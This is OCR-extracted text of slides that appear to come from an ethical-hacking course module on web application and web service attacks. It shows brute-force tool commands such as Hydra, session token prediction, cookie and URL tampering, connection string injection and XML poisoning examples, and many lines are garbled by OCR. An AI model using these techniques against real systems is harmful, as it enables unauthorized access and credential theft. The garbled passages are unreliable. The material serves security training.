| XML Digital Signatures (

XML, SOAP, WSDL, Schema, WS-Advertising, etc.

ne .Net TCP Channel,

Fast InfoSet, etc.

HTTP
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Web Services Attack

-J Web services evolution and its increasing use in business offers new attack vectors in an application
framework

) Web services are based on XML protocols such as Web Services Definition Language (WSDL) for describing
the connection points; Universal Description, Discovery, and Integration (UDDI) for the description and
discovery of Web services; and Simple Object Access Protocol (SOAP) for communication hetween Web
services which are vulnerable to various web application threats

Presentation Layer Parameter tampering, WSDL probing,
XML, AJAX, Portal, Other SQL/LDAP/XPATH/OS command
injection, malware injection,
Security Layer bruteforce, data type mismatch,
content spoofing, session tampering,

WS-Security format string, information leakage

Discovery Layer Fault code leaks, permission and access
===xneans attacks, error leakage, authentication
ubDI, WSDL and certification attacks

Attacker Access Layer Buffer overflow, XML parsing, spoiling
> schema, complex or recursive payload,
SOAP, REST
’ DoS, large payload

Transport Layer > Sniffing, Snooping, WS-Routing,
HTTP, HTTPS, IMS, Other Replay Attacks, Denial of Service

Web Services Stack Web Services Attack
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Web Services Footprinting Attack

Attackers footprint a web application to get UDDI information such as businessEntity,
businesService, bindingTemplate, and tModel

XML Query XML Response

POST /inquire HTTP/1.1 HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8 Date: Tue, 28 Sep 2004 10:07:42 GMT
SOAPAction: ™" Server: Microsoft-115/6.0

1 X-Powered-By: ASP.NET
Cache-Control: no-cache X-AspNet-Version: 1.1.4322
Pragma: no-cache Cache-Control: private, max-age=0
User-Agent: Java/1.4.2_04 Content-Type: text/xml; charset=utf-8
Host: uddi.microsoft.com Content-Length: 1272

. H 1 H H *e py— . =
Accept: text/html, image/gif, image/jpeg,*; q=.2, /; q=.2 <7xml version="1.0" encoding="utl-8"?><soap:Envelope

Connection: keep-alive xmins:soap="hitp/schemas.xmisoap.org/soap/envelope/™ xmins:xsi="hitp://www.w3.0rg/2001/XMLSchema-
Content-Length:229 instance” xmins:xsd="hitp.//www.w3.0rg/2001/XMLSchema"><soap:Body><servicelist generic="2.0"
cperator="Microgoft Corporation” truncated="false" xmins="urn:uddi-org:api_v2"><servicelnfos><servicelnfo
<2xml version="1.0" encoding="UTF-8" ?> serviceKey= 6?c464eo-218d'»4dal-?4dd-5fiddbanc813 busmessKey=' 914374’01191-4634-b8e!-_
c9e34e8alee5"><name xmi:lang="en-us"> </name></servicelnfo><servicelnfo
*Eswelon . serviceKey="41213238-1b33-40f4-8756-c89cc3125ecc” businessKey="bfb3dc23-adec-4173-bd5-
xmins="http://scemas.xmlsoap.org/soap/envelop/"> 5545abaeaalb"><name xml:lang="en-us"> </namex></servicelnfo><servicelnfo
<Body> serviceKey="ba6d9d56-ea3f-4263-a95a-eeb17e5910db" businessKey="18b7{de2-d15¢c-437¢-8877-
<find_business generic="2.0" maxRows"50" ebec8216d015"><name xmilang="en"> </names</servicelnfo><servicelnfo

o w . serviceKey="bc82a008-5ede-4c0c-8dba-cSe4e268le12” businessKey="18785586-295¢-448a-b759-
xmlins="urn"uddi- B - G "an®. AR ;

R 8 5 > ebb44a049f21"><name xmli:lang="en"> </name></servicelnfo><servicelnfo
org:api_v2"><name>amazon</name></find_business> = g serviceKey="8faa80ea-420d-4c0d-8070-999¢e0455930" businessKey="ee415180-bf39-4a66-9ege-
</Body> ¢33cdca3dbSa’><name
</Envelop> I:lang="en"> </names</servicelnlo></servicelntos></servicelist></soap:Body></soap:

HTTP/1.1 50 Continue
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Web Services XML Poisoning

1. Attackers insert malicious XML codes in SOAP requests to perform XML node manipulation or
XML schema poisoning in order to generate errors in XML parsing logic and break execution logic

2. Attackers can manipulate XML external entity references that can lead to arbitrary file or TCP
connection openings and can be exploited for other web service attacks

3. XML poisoning enables attackers to cause a denial-of-service attack and compromise
confidential information

XML Request ‘ ‘ Poisoned XML Request
<CustomerRecord> <CustomerRecord>
<CustomerNumber>2010</CustomerNumber> <C.ustomerNuml:er:-Zl.leOt:,fCustomerNumher:-
. . <FirstName>Jason</FirstName><CustomerNumber:>
<FirstName>Jason</FirstName>
L 2010</CustomerNumber>
<LastName>Springfield</LastName> . .
<FirstName>Jason</FirstName>
<Address>Apt 20, 3rd Street</Address> o
o .. . <LastName>Springfield</LastName>
<Email>jason@springfield.com</Email> <Address>Apt 20, 3rd Street</Address>
<PhoneNumber>6325896325</PhoneNumber> '_'ES_S Pt <o .r ) ree ress..
<Email>jason@springfield.com</Email>
</CustomerRecord>
<PhoneNumber>6325896325</PhoneNumber>
</CustomerRecord>
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ceh.vn

Web App Pen Testing ﬁi—l

: o ol [
Security Tools GOD

)
Countermeasures o o

Module Flow

@ Web App Concepts y

é% Web App Threats y
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Web App Hacking Methodology

Footprint Web

Attack Session
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Management Mechanism

Perform

Injection Attacks

Analyze Web Attack
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Attack Attack
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Footprint Web Infrastructure

Web infrastructure footprinting is the first step in web application hacking; it helps attackers
to select victims and identify vulnerable web applications

Hidden

: _ Content Discovery
Server Discovery Extract content and
: . = functionality that is not
Discover the physical : :
thetho directly linked or reachable

servers that hosts S

. P from the main visible content
web application Server Identification
.Grab server banners to Y .
identify the make and AN 4
version of the web server
software

Service Discovery

Discover the services running on web
servers that can be exploited as
attack paths for web app hacking

-~
K
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Footprint Web Infrastructure: Server
Discovery

Server discovery gives information about the location of servers and ensures that the target

server is alive on Internet
DNS Interrogation Port Scanning

Whois lookup utility gives DNS Interrogation Port Scanning attempts to
information about IP provides information connect to a particular set
address of web server and about location and type of TCP or UDP ports to
DNS names of servers find out the service that

Whois Lookup Tools DNS Interrogation Tools: exists on the server

1. http://www.tamos.com 1. http://www.dnsstuff.com POft Scanning Tools:
2. http 2. http://network-tools.com 1. Nmap
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Footprint Web Infrastructure:
Service Discovery

Typical HTTP Services
Scan the target web server to identify common ;
ports that web servers use for different services World Wide Web standard port

Alternate WWW

Kerberos

SSL (https)

IBM Websphere administration client
Compagq Insight Manager

Compagq Insight Manager over SSI

Micresoft Application Center Remote
< Zenmap management

Scan Tools Profile Help BEA Weblogic

Target: lOOOde-com LI Profile: | Intense scan LJ Scan I zancel BEA Weblogic over SSL
Command: lnmap -T4 -A -v -PE -P522,25,80 -PA21,23,80,3389 google.com

Sun Java Web Server over SSL

[ Hosts  services | nmapoutput Ports fHosts | Topology | Host Detais | scans | Alternate Web server, or Web cache
05 [Fost » |port « [protocol ¢ [state « [service ¢ |version

- com (209,65, ® 13 twp cosed  auth
@ a0 tep open  http Google httpd 2.0 (GFE) Apache Tomcat

;I_I L’ 0 443 tcp open http Google httpd 2.0 (GFE)

Sun Java Web Server admin module
Filter Hosts I

Netscape Administrator interface

Alternate Web server or management
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Footprint Web Infrastructure: Server
Identification/Banner Grabbing

Analyze the server response header field to identify the make, model, and
version of the web server software

This information helps attackers to select the exploits from vulnerability databases
to attack web server and applications

C:\telnet www. juggyboy.com 80 HEAD / HTTP/1.0

Connection te host leat.

[of RN

Banner grabbing tools:
1. Telnet 2. Netcat 3. Fscan 4, ID Serve
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Footprint Web Infrastructure: Hidden

Content Discovery

_J) Discover the hidden content and functionality that is not reachable from the main
visible content to exploit user privileges within the application

_J It allows attacker to recover backup copies of live files, configuration files and log files
containing sensitive data, backup archives containing snapshots of files within the web
root, new functionality which is not linked to the main application, etc.

Web Spidering Attacker-Directed Spidering

Web spiders automatically Attacker accesses all of the n tools such as
discover the hidden content application’s functionality and make huge

and functionality by parsing uses an intercepting proxy to of requests to the
HTML form and client-side monitor all requests and rver in order to guess
JavaScript requests and responses ames or identifiers of
responses The intercepting proxy parses dden content and

all of the application’s functionality

responses and reports the

content and functionality it

2. Burp Spider discovers

3. WebScarab Tool: Poras Proxy

Web Spidering Tools:

1. Paros
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Web Spidering Using Burp Suite

Proxy server
v Use a proxy server for your LAN (These settings will not apply to
© burp suite v1.3.03 diakup or VPN ): Confi bb
burp Intruder repeater window help Address: Ib<a|host Port: ISOSU Advanced = | ontigure your we rowser
hrrg’oi A i | | intruder I iDymase ecy oot o kit b Abasses to use Burp as a local proxy
| sile map scops "
o Access the entire target
lnne«-: h mu_ximl'fvlmu items, hiding rS' mage and geNeral binaty content, Niding application visiting every
o= NP MWV IUNE s cor “[|_____host _ Imethod| URL | params| status | length [MIME type! J - < -
- Nl oWV AiGaybot o hitp www Juggy (GET i | 200 11612 HTML _ Welcomet smgle.hnk/URL F’05.5|b|_e; and
Df submit all the application
o (2181 [ .
st <! v ' d forms available
5 _;j[lor-'m:oads response | “}!:",'I(“){ | ! !
o (2] Gadgets raw | headers | hex | himl | render = | Browse the target appllcatlon
o () Games HTTP/1.1 200 OK [~ 1 1
o (2 Juggyboy At Galle Server: ApplelDiskServer.i1G3010 ™ Wlth JavaSCﬂpt enabled and
o (2) Kama 3 fx-ceoponding-server: hpagole-0 disabled, and with cookies
T jtdestfe : max-age=£0, must-revalidate ‘ enabled and disabled
% B Ip-129ay43101-104m72 zdudo” |
o () Photas Thu, 05 Feb 200§ 13:12:2€ GNT .
o () Security News : texc/html o Check the site map generated
8 e Gy ot “Nov 2010 11:3¢: 18 GAT H by the Burp proxy, and identify
o @) World T a1 any hidden application content
curtain swf or functions

o ] davidcopperfield

D o Tuswrbor</s ) Continue these steps
E'r';;’*; e 3 recursively until no further
[3 robots e content or functionality is

o (2] rw_common
o= (21 cparch hd

identified
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Web App Hacking Methodology

Footprint Web Attack Session
Infrastructure Management Mechanism
Attack Perform
Web Servers Injection Attacks
Analyze Web Attack
Applications Data Connectivity
Attack Attack
Authentication Mechanism Web App Client
Attack Attack
Authorization Schemes Web Services
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Tools used:
. UrlScan

. Nikto

. Nessus

. WWWhack

. Acunetix Web Vulnerability
Scanner
. WeblInspect

@ After identifying web server
environment, scan the
server for known
vulnerabilities using any
Web server vulnerability
scanner

Launch web server attack to
exploit identified
vulnerabilities

@ Launch Denial-of-Service
(DoS) against web server
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Web Server Hacking Tool: WebInspect

0
o

-J Weblnspect identifies
security vulnerabilities in
the web applications

J ltruns interactive scans
using a sophisticated user
interface
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Web App Hacking Methodology
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Analyze Web Applications

Analyze the active application’s functionality and technologies in order to identify the
attack surfaces that it exposes

Identify Entry
Points for User
Input

Review the
generated HTTP
request to identify
the user input
entry points

=
1

http://cchwn (el EE NEWS

Canified Ethical Hacker

Identify Server-Side
Functionality

Observe the applications
revealed to the client to
identify the server-side
structure and
functionality

Identify Server-Side
Technologies

Fingerprint the
technologies active on
the server using various
fingerprint techniques
such as HTTP
fingerprinting

Map the Attack
Surface

Identify the various
attack surfaces
uncovered by the
applications and the
vulnerabilities that
are associated with
each one
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Examine URL, HTTP
Header, query string
parameters, POST
data, and cookies to
determine all user
input fields

Determine URL
encoding techniques
and other encryption
measures implemented
to secure the web
traffic such as SSL

http://cehon  ((ElET NEWS

Canified Ethical Hacker

Identify HTTP header
parameters that can be
processed by the
application as user
inputs such as User-
Agent, Referer, Accept,
Accept-Language, and
Host headers

Tools used:

http:

Analyze Web Applications:
Identify Entry Points for User Input

) diidi
0 oo
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Analyze Web Applications:
Identify Server-Side Technologies

Perform a detailed
server fingerprinting,
analyze HTTP headers
a AL s

Examine URLs
for file

extensions,

. directories,

andg [r 4

|banner ded

Examine the

error page

Examine session
tokens:
1.JSESSIONID - Java
2.ASPSESSIONID -
1IS server

G O http://juggyboy.com/error.aspx

www.airsahara.net Microscft-11S/6.0

Microsoft-11S/6.0

eastcoastflight.com

Apache/2.0.52 (Fedora)

Apache/2.0.x

www.redhat.com Apache

Apachei1.3.27

wWww.Cnn,.com Apache

Apache/2.0.x

chaseonline chase.com JPMC1.0

SunONE WebServer 6.0, Netscape-Enterprise/d. 1

www._foundstone com WebSTAR

Apache/2.0.x

www. walmarn. com Microsoft-115/6.0.0

Apache/2.0.x

Yes we are using

www. portB0software.com Serverhask!

Microsoft-11S/4.0. Microsoft-115/5.0 ASP.NET, Microsoft-
WS/5.1

@ Ooprs!

Server Error in "/ReportServer' Application.
Could not find the permission set named 'ASP.Net'.
Description: An unhanded exception occurred during the
execution of the current web request. Please review the stack
trace for more information about the error and where it
originated in the code.

http://cehvn (G S NEWS

Canified Ethical Hacker

http:

Version Information: Microsoft .Net Framework Version
4.0.30319; ASP.Net Version 4.0.30319.1
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Analyze Web Applications:

Identify Server-Side Functionality

Examine page source and URLs and make an educated guess to
determine the internal structure and functionality of web applications

H
Tools used: —
o =
S - S = S— =
Teleport Pro http://www.tenmax.com B_
S———
BlackWidow http://softbytelabs.com

Examine URL

SSL ASPX Platform
A A

https://www.juggyboy.com/customers.aspx?name=existing%20clients&isActive=
O&startDate=20%2F11%2F20108endDate=20%2F05%2F2011 § showBy=name

v :
--------------)— Datahase Cclumn (- --------------------------------- !
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Analyze Web Applications: Map the
Attack Surface

Injection Attack,
Authentication Attack

Privilege Escalation,

Client-Side Validation Access Controls

Injection Attack

. SQL Injection, Data Cleartext Data Theft, Session
Database Interaction . L. e s
Leakage Communication Hijacking
File Upload and :
Directory Traversal Error Message Information Leakage
Download
Sl kel Cross-Site Scripting Email Interaction Email Injection

Supplied Data

Redirection, Header

Dynamic Redirects Application Codes Buffer Overflows

Injection
Login Username Enumeration, Third-Party Application Know_n Vi.llnerabilities
Password Brute-Force Exploitation
. Session Hijacking, Known Vulnerabhilities
Session State Session Fixation Web Server Software Exploitation
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Web App Hacking Methodology
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Attack Authentication Mechanism

Attackers can exploit design and implementation flaws in web applications, such as failure to check
password strength or insecure transportation of credentials, to bypass authentication mechanisms

c 1. Verbose failure messages
Jsername Enumeration 8
2. Predictable usernames

rlililililillllll.l.lIIIIIIIl.l......l.l.lilililil.l'l'll.l.I.l.li&i.

1. Password functionality exploits
2. Password guessing

‘ 3. Brute-force attack

|

nol'lnlnllclclclclcncrutulolnllllllllll'lol'lncncncncncncncnll'filn.

1. Session prediction

Session Attac“ 2. Session brute-forcing

3. Session poisoning

1. Cookie poisoning
Cookie Exploitat'i_

2. Cookie sniffing

3. Cookie replay
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Username Enumeration

If login error states which part of the username and password is not correct, guess the
users of the application using the trial-and-error method

@WORDPRESS @WORDPRESS
‘ ERROR: Account username was not found! | /\ ERROR: Incorrect
S.téve

assword, Lost vour password? l
\ /

Jason

Username Steve does not exist

Username successfully enumerated to Jason

Some applications automatically generate account usernames based on a sequence (such as
user101, user102 etc.), and attackers can determine the sequence and enumerate valid usernames

Note: Username enumeration from verbose error messages will fail if the application implements account lockout
policy i.e. locks account after a certain number of failed login attempts

http://cchwn (el EE NEWS
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Password Attacks: Password

Functionality Exploits

Determine password change
functionality within the
application by spidering the

application or creating a login

account

Try random strings for ‘Old
Password’, ‘New Password’
and ‘Confirm the New
Password’ fields and
errors to identify
vulnerabilities in

eH NEWS

Canified Ethical Hacker

ceh.vn 3

guess the dlallenée

~ unique reeovery

i-train.com.vn
== CEH, MCITP, CCNA, CCNP, VMware sPhere, LPl, Web Design

http:

“Remember Me” functions are
implemented using a simple
persistent cookie, such as
RememberUser=jason or a
persistent session identifier
such as
RememberUser=ABY112010

Attackers can use an
enumerated username or
predict the session identifier to

bypass authentication

iechanisms
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Password Attacks: Password Guessing

Password List Password Dictionary

: Attac_:::lers e adliSt (_’f . Attackers can create a : Password guessing can be
;OSSN PASEWOITS MSINE JHOR : . dictionary of all possible : : performed manually or
commonly used passwords, ' 3 3 : g ol h
: footpritiing target and social passwords using tools : . using automated tools suc!
such as Dictionary Maker : as WebCracker, Brutus, Burp

engineering techniques, and . , B
S mact naseword it s ::t pekr:orm dictionary Insider, THC-Hydra etc.
ac : '

correct password is discovered

B i e e ] 0 %,

-

words | Tuning | Speciic. star |

|| Ussmams 1] Output
Hydra v4.1 (c) 2004 by van Hauser / THC - use allowed only for legal purposes
Hydra (hitp//www,1hs. ong) stanting al 2004-05-17 21.58:52
[OATA] 32 tasks, 1 servers, 45380 (ogin tes (1| 1/pr45380), ~1418 tries per task
[DATA] attacking service itp on port 21
Password [STATUS] 14056.00 tries/min, 14056 tries in 00:01h, 31324 todo in 00:03h

C Password [STATUS) 14513.00 tries/min, 29026 tries in 00:02h, 16354 tado in 00:02h
[21){Mp] host: 127.0.0.1 login: marc password: success

@ Passwoed List tmp/passlist txt Hydra (Mtpu/www.Ihe. org) finished at 2004-05-17 2201:38
<finished>

Colon seperated tile
[T Use Colon seperated tile |

¥ Try login as password F i’"ny empty password Start Stop
Jydra 127.0.0.1 fip 4 marc P /tmp/passkst.txt - nis 4 32

& Usemame

€ Usemame List

Jydra 127.0.0.1 thp - testuser -P imp/passhist.ixt o ns

http://freeworid.thc.org
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Password Attacks: Brute-forcing

-4

from a set of alphabets, numeric, and special characters

J
Sensepost's Crowbar

burp Intruder repeater window help

intruder repeater sequencer decoder comparer
1

target | positions | payloads | oplions

number of payloads 1679616

number of requests

8,398,080

payload set 1 w | | brute forcer

character set  |abcdefahiikdmnopgrstuwanz01 23456789

min length 4

max length 4

payload processing rules

V%0 upper case

© burp suite v1.3.03

=loix|
oplions alens
-
-
edi
remaove -

B e e =e Sy
b Besibar BPTA o e e e e AR

In brute-forcing attacks, attackers crack the log-in passwords by trying all possible values

Attackers can use password cracking tools such as Burp Suite's Intruder, Brutus, and

- [OIX]

Lleme Fin  [users bt

Taget [127.001 Type [HTTP (BascAuh) w|  Stat | Stop | Clear]
Connection Options

Pot [B0  Cornections 10 Timeou " S7omm 10 | UsePowy Define |
HTTP [Basic) Dpbons

Method [HEAD | ¥ Keepive

Autherticabion Opbors

[V UseUsemname [ Single User

Pass Mode | Brute Force v | J

http://portswigger.net

http://www.hoobie.net

Positive Authenticaon Results
T angat | Type | Usesname Password | b
Brutus - Brute Force Generation
: = £* Digits only Minlengh [0 |
Located and instalied 1 authenticabion phigns —
inbgising. SR O Lowercase Aloha MaxLengh [6 ]
& Up Abha .
Uz RN SRR 0'\ cmel
| | L (5] coes
" Alphanumenc
9 " Full Keyspace

(" Custom Range [etacinsshidcumipgwybvkaiaz] 2345676301
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Session Attacks: Session ID Prediction/
Brute-forcing

In the first step, the attacker o e ST
collects some valid session ID LIS S
\nltes by aniffing tralfic from struc'ture of session I[?, the information
(il e ‘ that is used to create it, and the
EHUIER encryption or hash algorithm used
by application to protect it

Vulnerable session generation
mechanisms that use session

. - ' 1D db
technique to generate and test e e
: . other predictable information, like
different values of session ID

2 timestamp or client IP address can be
until he successfully gets access . : . .

h licati exploited by easily guessing valid
to the application sanslon D

GET http://janaina:8180/WebGoat/attack?Screen-17 & menu=410 HTTP/1.1
Host: janaina:8180
User-Agent: Mozilla/5.0 (Window; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko /20070515 Firefox/2.0.04
G ET Request Accept: text/xml, application/xml, application/xhtml+xml,text/htmtl;q-0.9,text/plain;q=0.8,image/png.* /*,q=0.5

Referer: http://janaina: 8180/WebGoat/attack?Screen=17&menu=410
Cookie: JSESSIONID=user0)] “hsssssssssssnssnsnasnsnnsansnnssn -

............... «esensssaaadqd Predictable Session Cookie
Authorization: Basic Z3Vic3Q6Z3VIc3Q
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Cookie Exploitation: Cookie Poisoning

J If the cookie contains passwords or session identifiers, attackers can steal the cookie using
techniques such as script injection and eavesdropping

J Attackers then replay the cookie with the same or altered passwords or session identifiers to
bypass web application authentication

- Attackers can trap cookies using tools such as Paros Proxy, Burp Suite, etc.

W Untitled Session - Paros =10 _’SJI
Mo Edt Wew Analyce Report Took Heb

]Rem|keapuu Trap |

d ||POST hitp:ivwww.slideshare netlogin HTTP/.1

4 epeferlado Hliost www slideshare net

B Metpefjrank. at User-Agent Mozl 0 (Windows; U, Windows NT 5.1, en-US, rv.1 8 2.12) Gecknf20101026 Ant com Toolbar 2.0.1 Furef
& ) etpeffswpen o3 6,12 ( NET CLR 3530729, NET4.0E)

Accept tetiml apphicationsdimisxmi,applicationdanl,g=0.9,"",4=0.9

JAcceptLanguage: en-us eng=05

JAccept-Charsel |1S0-8859-1 uk8,6=07 =07

Keep-Alive: 115

P roxy-Connecon: keep- alwe

Referér hitp Mwww slide share netlogin7from_logout=1

Cookls _guda=ID=tfg 4152007 TODIIT=127 4601 747 C=ALNI_MarkopLwiol I THYOGCINZTCLOpoZw, __uime=10T45
0030 507797827 1274691734 1290507499 1290507642 45, ulmz=137450090.1 290507501 .44 17 utmesr=qooglefu _:J

authenticity_token=kPR21 TIIGTEMUd0HR 204v4 50wnZowul) 5% 2BnKe rukWVo % 30 &user_login=rh waaaduser
_passwords gwastyéloginaLogindsource_froms
_p_] |[Raw Viow = ¥ Trap request [V Trap resporse Continue Drop

1 GET hitpdewupmf adobe. comimanifestBiiwiniAdobeUpdater upd 200 OK 437Tms
AttaCker 6 OGET hitp-icrl adobe comiaum crl 200 OK 380ms web se rver
8 GET  nipwswupmfadobe.comimanifestbiminireaderdrdr-en_US upd 200 OK 570d4ms
9 GET  niiplswupmfadobe.comimanifestBiimin/acrobatIpro-EF G.upd 200 OK 2157ms
10 GET  hipiswupmfadobe.comimanifestBomintwinsomlinguisticsplugn 1 upd 200 OK 62ms
11 GFT hitn fiswunmf adnha comimanifestRiwinia nehnrsenvice ? und 200 0K 1Nf8ms _'.'J

http://www.parosproxy.org
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Authorization Attack

Attackers manipulate the HTTP requests to subvert the application authorization schemes

by modifying input fields that relate to user ID, username, access group, cost, filenames, file
identifiers, etc.

Attackers first access web application
using low privileged account and then

escalate privileges to access protected
resources
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HTTP Request Tampering

Query String Tampering

) If the query string is visible in the address bar on the browser, the attacker can easily change the string
parameter to bypass authorization mechanisms

http: //www.juggyboy.com/mail.aspx?mailbox=]ohné&company=acme%20com
https://juggyshop.com/books/download/852741369 .pdf

https://juggybank.com/login/home. jsp?admin=true

) Attackers can use web spidering tools such as Burp Suite to scan web app for POST parameters

HTTP Headers

) If the application uses the Referer header for making access control decisions, attackers can modify it to
access protected application functionalities

GET http://juggyboy:8180/Applications/Download?ItemID = 201 HTTP/1.1
Host: janaina:8180

User-Agent: Mozilla/5.0 (Window; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.04
Accept: text/xml, application/xml, application/xhtml+xml,text/htmtl;q-0.9,text/plain;g=0.8,image/png,*/*, g=0.5

Referer: http://juggyboy:8180/Applications/Download?Admin = False
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Authorization Attack: Cookie Parameter Tampering

J In the first step, the attacker collects some cookies set by the web application and analyzes them to
determine the cookie generation mechanism

. Attacker then traps cookies set by the web application, tampers with its parameters using tools such
Paros Proxy, and replay to the application

W Untithed Session - Paros 18] x}
O IR Ve dcalyse Pegort Tooks Help

u-' h.g.wi:-w- e |

W

) o focabot

He L8 Vew oo Rt Took beb
“n |

3 Sees
# ) e ecobest

SRARRRRR

Motary [ St | Slorts ] Cutpit | Feve =] P hwmant P oo e |
[aupw] @ e VDA - Moomlt B || Untitied SessionyParos =
150800
4
=
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Session Management Attack

‘.-I".l...
L3
Ld

“

** A

Session

Attackers break an Token Generation
application’s session 1. Session Tokens
management mechanism Prediction
to bypass the S
authentication controls
and impersonate
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Attackmg Session Token Ge‘neratlon
Mechanism

Weak Encoding Examp‘le

SessionToken=%75%73%65%72%3D%6A%61%73%6F%6E$3B%61
0%3D%61%64%6D%69%6E$3B%64361%74%65%3D%32%33%2F%31%31%2
F$32%30%31%30

Hex-encoding of an ASCII string user=jason;app=admin;date=23/11/2010,
attacker can predict another session token by just changing date and
».  use it for another transaction with server

esS|oh oen'rélc‘tlon

Attackers obtain valid session tokens by sniffing the traffic or legitimately logging into
application and analyzing it for encoding (hex-encoding, Base64 ) or any pattern. If any
meaning can be reverse engineered from the sample of session tokens, attackers
attempt to guess the tokens recently issued to other application users. Attackers then
make a large number of requests with the predicted tokens to a session-dependent
page to determine a valid session token
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Attacking Session Tokens Handling
Mechanism.: Session Token Sniffing

J Attackers sniff the application traffic using a sniffing tool such as Wireshark or an intercepting proxy such as
Burp. If HTTP cookies are being used as the transmission mechanism for session tokens and the secure flag is
not set, attackers can replay the cookie to gain unauthorized access to application

o Attacker can use session cookies to perform session hijacking, session replay, and Man-in-the-Middle attacks

" Realtek RTLE169/8110 Family Gigabit Ethernet NIC ” 's Packet Sl 5 hock =101 x|
Bl Edt Yew Go Capture Analyze 2mitics Telephony  Took  Help
N HRRPES | WE 52T L 1A QAaf|lEE®m X% B
*  Expresson... Clear Apply
No. . | Time lm ]uem letocol lwo =4
§03 2010-11-24 www.slideshare 192.168.168.7 TcP http > elvin_client [ACK] Seqel Acksl461 Winss/60 L
504 2010 -11- 24 m.slideshare 192. 168 168 7 P http > elvm chent [ACK] Seq=1 Acl« 124 Win=11680

13 3 9z 108, 3 F1. ~a y ]
506 2010 11- 24 shdesharc 192 168 168 7 P http > rl\nn chcnt [F]N ACK. eq=1079 Ack=2124 wi
507 2010-11-24 1‘32 166.168.7 www.slideshar TCP elvin_client > http [ACK] Seq=2124 Ack=1080 win=644 —

SOB 2010-11-24 192.168.168.7 www.slideshar P elvin_client > http [FIN, ACK] Seq=2124 Ack=1080 wi

509 2010-11-24 192.168.168.7 www.slideshar 7CP kastenchasepad > http [SYN] Seq=0 win=65535 Len=0 M

$10 2010-11-24 www.t1ideshare 192.168.168.7 TCP http > elvin_client [ACK] Seq=1080 Ack=2125 win=116 -
| | 2

|

|

DA B BB O s
WO hOM T =T

B

2 1 TxSE
dtUuRmdz

J-h
P
b=

m

Fun b b v

(¥ Fle: "CADOCLNE wm.cxmswx\rmo\—u Packats: 02 Draplayed: 602 Makad: 0 Dropped: 0 ’ Profie: Defak
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Injection Attacks

If user input is used into code that is
dynamically executed, enter crafted input

that breaks the intended data context

In injection attacks, attackers supply crafted malicious input that is syntactically correct according
to the interpreted language being used in order to break application’s normal intended

and executes commands on the server

Injection
Web
Scripts

Injection

Enter a series of malicious SQL queries into input
saL

fields to directly manipulate the database

Take advantage of non-validated web
application input vulnerabilities to
pass LDAP filters to obtain direct
LDAP access to databases
Injection
Exploit operating systems by
entering malicious codes in input
fields if applications utilize user
input in a system-level command

) Al

k3

SMTP
application and SMTP server conversation

Enter malicious strings in input
Injection
to generate large volumes of spam email

fields in order to manipulate the

Inject arbitrary STMP commands into

XPath query so that it interferes
with the application’s logic

Note: For complete coverage of SQL Injection concepts
and techniques refer Module 14: SQL Injection Attacks
v
http://ceh.vn (R EH NEW S
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Attack Data Connectivity

Database connectivity
attacks exploit the way
applications connect to the
database instead of abusing
database queries
Database connection strings are
used to connect applications to

database engines . Connection String Injection
. Connection String Parameter
“Data Source=Server,Port; Pollution (CSPP) Attacks
Network Library=DBMSSOCN;
Initial Catalog=DataBase;
User ID=Username;
Password=pwd ;"

Data Connectivity Attacks

. Connection Pool DoS

Example of a common connection
string used to connect to a
Microsoft SQL Server database
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Connection String Injection

J Ina delegated authentication environment, attacker inject parameters in
connection string by appending them with the semicolon (;) character

) A connection string injection attack can occur when dynamic string concatenation
is used to build connection strings based on user input

Before Injection

“Data Source=Server,Port; Network Library=DBMSSOCN;

Initial Catalog=DataBase;
User ID=Username; Password=pwd;"”

After Injection

“Data Source=Server,Port; Network Library=DBMSSOCN;

Initial Catalog=DataBase;
Password=pwd; Encryption=off”

User ID=Username;

When the connection string is populated, the Encryption value will be added to the previously configured set
of parameters
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Connection String Parameter Pollution
(CSPP) Attacks

In CSPP Attacks, attackers overwrite parameter values in the connection string

Attacker replace the value of
Data Source parameter with
that of a Rogue Microsoft SQL
Server connected to the
Internet running a sniffer

Data source = SQL2005;
initial catalog = dbl;
integrated security=no; user
id=;Data Source=Rogue
Server; Password=;
Integrated Security=true;

Attacker will then sniff Windows
credentials (password hashes)
when application tries to
connect to Rogue_Server with
the Windows credentials it's

L running on

Port Scanning

Attacker tries to connect to
different ports by changing
value for and see the error
messages obtained

Data source = SQL2005;
initial catalog = dbl;
integrated security=no;
id=;Data Socurce=Target
Server, Target Port—=443;
Password=; Integrated

Security=true;

Hijacking Web Credentials

Attacker tries to connect to the
database by using the Web
Application System account
instead of a user-provided set
of credentials

Data source = SQL2005;
initial catalog = dbl;
integrated security=no; user
id=;Data Source=Target

Target Port;
Integrated

Server,
Password=;
Security=true;
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Connection Pool DoS

Attacker examines the connection pooling settings of the
application, constructs a large malicious SQL query and runs

multiple queries simultaneously to consume all connections in
the connection pool, causing database queries to fail for

legitimate users

‘C
\  Example:
By default in ASP.NET, the maximum allowed connections
in the pool is 100 and timeout is 30 seconds

| ——

| Thus an attacker can run 100 multiple queries with 30+
seconds execution time within 30 seconds to cause a
connection pool DoS such that no one else would be able

/ . y
/ \ :J | touse the database related parts of the application
‘ ) \
27y —
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Attack Web App Client

Attackers interact with the server-side applications in unexpected ways in order to perform
malicious actions against the end users and access unauthorized data

Cross-Site
Scripting

Session
Fixation

Redirection

Frame Request
Attacks

- Privacy
Injection 9IRS Attacks

Header

ActiveX
Injection
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Attack Web Services

Web Services work atop the legacy web applications, any attack on web service will
immediately expose underlying application’s business and logic vulnerabilities for various

attacks

Package Application

Custom Application

CEETEESS =

Database System

Applicationﬁanagement

Attacker Web Service Server
Client : = a—
| : <M ==
Sssssssssnuquannan ) :_—_:j < ._”_._”>'t‘ 344
Java =
Database Identity Management Server
SOAP Injection, WSDL Probin Information Leakage, Database Attacks,
Web Servi g g
ahaenees XML Injection Attacks Application Logic Attacks | oS Attacks
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Web Services Probing Attacks
—

l @ In the first step, attacker traps the WSDL document I
from web service traffic and analyzes it to determine
purpose of the application, functional break down,
entry points and message types

@ Attacker then creates a set of valid requests by selecting a
set of operations, and formulating the request messages
according to the rules of the XML Schema that can be
submitted to the web service

© Attacker uses these requests to include malicious
contents in SOAP requests and analyzes errors to gain a
deeper understanding of potential security weaknesses

© These attacks work similar to SQL injection attacks

<?>0:ml version=" 1, 0" encoding= "utf-8" 7>

- <soap: Envelope xmins: soap="http://sch Isoap.org/soap/ lope/"
xmins: xsi="http://www .w3 .org/2001/XMLSchem ~- instl'Ince "

xmins: xsd="http://www .w3 .org/20D I/XMLSchem!'l'>

